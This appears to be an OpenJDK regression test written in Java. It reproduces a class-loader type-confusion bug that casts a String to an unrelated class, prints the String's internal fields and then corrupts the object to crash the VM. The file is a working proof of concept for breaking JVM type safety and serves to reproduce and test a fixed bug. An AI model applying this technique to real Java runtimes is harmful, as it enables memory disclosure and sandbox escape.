1 /*
   2  * Copyright (c) 2010, Oracle and/or its affiliates. All rights reserved.
   3  * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
   4  *
   5  * This code is free software; you can redistribute it and/or modify it
   6  * under the terms of the GNU General Public License version 2 only, as
   7  * published by the Free Software Foundation.
   8  *
   9  * This code is distributed in the hope that it will be useful, but WITHOUT
  10  * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
  11  * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
  12  * version 2 for more details (a copy is included in the LICENSE file that
  13  * accompanied this code).
  14  *
  15  * You should have received a copy of the GNU General Public License version
  16  * 2 along with this work; if not, write to the Free Software Foundation,
  17  * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
  18  *
  19  * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
  20  * or visit www.oracle.com if you need additional information or have any
  21  * questions.
  22  *
  23  */
  24 
  25 import java.lang.reflect.*;
  26 import java.security.*;
  27 
  28 abstract public class bug_21227 {
  29 
  30   // Jam anything you want in here, it will be cast to a You_Have_Been_P0wned
  31   public static Object _p0wnee;
  32 
  33   public static void main(String argv[]) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
  34     System.out.println("Warmup");
  35 
  36     // Make a Class 'many_loader' under the default loader
  37     bug_21227 bug = new many_loader();
  38 
  39     // Some classes under a new Loader, LOADER2, including another version of 'many_loader'
  40     ClassLoader LOADER2 = new Loader2();
  41     Class clazz2 = LOADER2.loadClass("from_loader2");
  42     IFace iface = (IFace)clazz2.newInstance();
  43 
  44     // Set the victim, a String of length 6
  45     String s = "victim";
  46     _p0wnee = s;
  47 
  48     // Go cast '_p0wnee' to type You_Have_Been_P0wned
  49     many_loader[] x2 = bug.make(iface);
  50 
  51     many_loader b = x2[0];
  52 
  53     // Make it clear that the runtime type many_loader (what we get from the
  54     // array X2) varies from the static type of many_loader.
  55     Class cl1 = b.getClass();
  56     ClassLoader ld1 = cl1.getClassLoader();
  57     Class cl2 = many_loader.class;
  58     ClassLoader ld2 = cl2.getClassLoader();
  59     System.out.println("bug.make()  "+ld1+":"+cl1);
  60     System.out.println("many_loader "+ld2+":"+cl2);
  61 
  62     // Read the victims guts out
  63     You_Have_Been_P0wned q = b._p0wnee;
  64     System.out.println("q._a = 0x"+Integer.toHexString(q._a));
  65     System.out.println("q._b = 0x"+Integer.toHexString(q._b));
  66     System.out.println("q._c = 0x"+Integer.toHexString(q._c));
  67     System.out.println("q._d = 0x"+Integer.toHexString(q._d));
  68 
  69     System.out.println("I will now crash the VM:");
  70     // On 32-bit HotSpot Java6 this sets the victim String length shorter, then crashes the VM
  71     //q._c = 3;
  72     q._a = -1;
  73 
  74     System.out.println(s);
  75 
  76   }
  77 
  78   // I need to compile (hence call in a loop) a function which returns a value
  79   // loaded from classloader other than the system one.  The point of this
  80   // call is to give me an abstract 'hook' into a function loaded with a
  81   // foreign loader.
  82   public abstract many_loader[] make( IFace iface ); // abstract factory
  83 }
  84